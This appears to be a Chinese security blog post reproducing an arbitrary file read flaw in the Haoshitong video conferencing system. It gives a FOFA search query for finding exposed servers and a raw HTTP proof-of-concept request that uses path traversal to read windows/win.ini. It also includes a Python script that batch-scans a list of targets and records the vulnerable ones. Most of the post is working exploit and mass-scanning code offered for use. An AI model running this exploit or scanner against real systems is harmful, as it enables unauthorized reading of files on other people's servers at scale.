好视通视频会议系统存在任意文件读取漏洞复现 [附POC]

本文主要是介绍好视通视频会议系统存在任意文件读取漏洞复现 [附POC]，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

漏洞简介

好视通视频会议是由深圳市华视瑞通信息技术有限公司开发，其在国内率先推出了3G互联网视频会议，并成功应用于SAAS领域。

资产

FOFA:app="好视通-视频会议"

POC

GET /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini HTTP/1.1Host: ip:portUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Length: 0

漏洞复现

使用Burp或Yakit进行发包测试

批量测试

pip install requests

然后运行脚本进行测试

import requestsimport concurrent.futures
def check_vulnerability(target):    headers = {           "User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)",        "Content-Length":"0"       }
    try:        # print(target)        res = requests.get(f"{target}/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini", headers=headers, timeout=5,verify=False)        if "extensions"in res.text and "CMCDLLNAME32" in res.text:            print(f"[+]{target}漏洞存在")            with open("attack.txt",'a') as fw:                fw.write(f"{target}\n")        else:            print(f"[-]{target}漏洞不存在")    except Exception as e:        print(f"[-]{target}访问错误")
if __name__ == "__main__":    print("------------------------")    print("微信公众号:知攻善防实验室")    print("------------------------")    print("target.txt存放目标文件")    print("attack.txt存放检测结果")    print("------------------------")    print("按回车继续")    import os    os.system("pause")    f = open("target.txt", 'r')    targets = f.read().splitlines()    print(targets)
    # 使用线程池并发执行检查漏洞    with concurrent.futures.ThreadPoolExecutor(max_workers=1) as executor:        executor.map(check_vulnerability, targets)